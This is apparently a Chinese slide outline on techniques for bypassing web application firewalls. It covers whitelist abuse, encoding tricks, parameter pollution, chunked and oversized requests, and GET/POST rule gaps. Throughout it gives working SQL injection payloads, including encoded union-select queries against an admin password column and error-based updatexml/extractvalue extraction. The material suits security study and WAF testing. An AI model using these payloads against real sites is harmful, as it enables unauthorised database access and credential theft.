一、什么是WAF
通过执行一系列针对HTTP/HTTPS的安全策略来防御对Web应用的攻击。
目前主要有单设备WAF与云WAF
二、WAF的现状
l 太多数WAF能够拦截较为普通的WEB攻击
l 大多数WAF没有针对热点漏洞奇葩攻击EXP防御的能力
l 基本所有的WAF都存在策略性绕过
l 由于waf的业务限制等各种原因导致存在通用绕过
三、黑客如何绕过waf分析
最近DEDECMS的一个变量注入漏洞
请求过程示意图(单向)
WAF接收请求会先做什么
WAF逻辑漏洞及白名单阶段的绕过
1.搜索引擎白名单(判断引擎方式不严)
2.IP段白名单绕过
3.目录白名单绕过
4.绕过代理直接请求源站(代理模式云WAF)
某软件WAF的搜索引擎白名单绕过
WAF确认身份后的事
WAF数据包解析阶段的绕过(通用型绕过)
l 各种编码绕过
1.?id=1 union select pass from admin limit 1
?id=1%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%70%61%73%73%20%66%72%6f%6d%20%61%64%6d%69%6e%
20%6c%69%6d%69%74%20%31
2.?id=1 union select pass from admin limit 1
?id=1 un%u0069on sel%u0065ct pass f%u0072om admin li%u006dit 1
l 复参数绕过
1.?id=1 union select 1&id=pass from admin
l 异常Method绕过
Seay /1.php?id=1 and 1=1 HTTP/1.1
Host: www.cnseay.com
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
l 编码方式绕过(urlencoded/mutipart)
解析阶段绕过 --最具杀伤力(一)
l 各种编码绕过
l 复参数绕过(依赖Server)
l 特殊字符污染绕过(截断/%/09-0d等)
解析阶段绕过 --最具杀伤力(二)
l 异常Method绕过
l 编码方式绕过(urlencoded/from-data)
l 超大数据包绕过
l 数据包分块传输绕过
WAF解析数据包后的那些事(单向)
l 数据库特殊语法绕过
1.mysql .符号和~符号和!符号以及+和-号连接
?id=1.union%0aselect@1,2 ,!3,4
l 关键字拆分绕过
l 请求方式差异规则松懈性绕过
GET /id=1 union select 1,2,3,4 ---拦截
POST id=1 union select 1,2,3,4 ---绕过
waf业务限制,POST规则相对松懈
l 冷门函数/标签绕过
1. /1.php?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
2. /1.php?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
WAF规则策略阶段的绕过总结(一)
l 字母大小写转换
l 数据库特殊语法绕过
l 关键字拆分绕过
l 请求方式差异规则松懈性绕过
WAF规则策略阶段的绕过总结(二)
l 多URL伪静态绕过
l 白字符绕过
l 冷门函数/标签绕过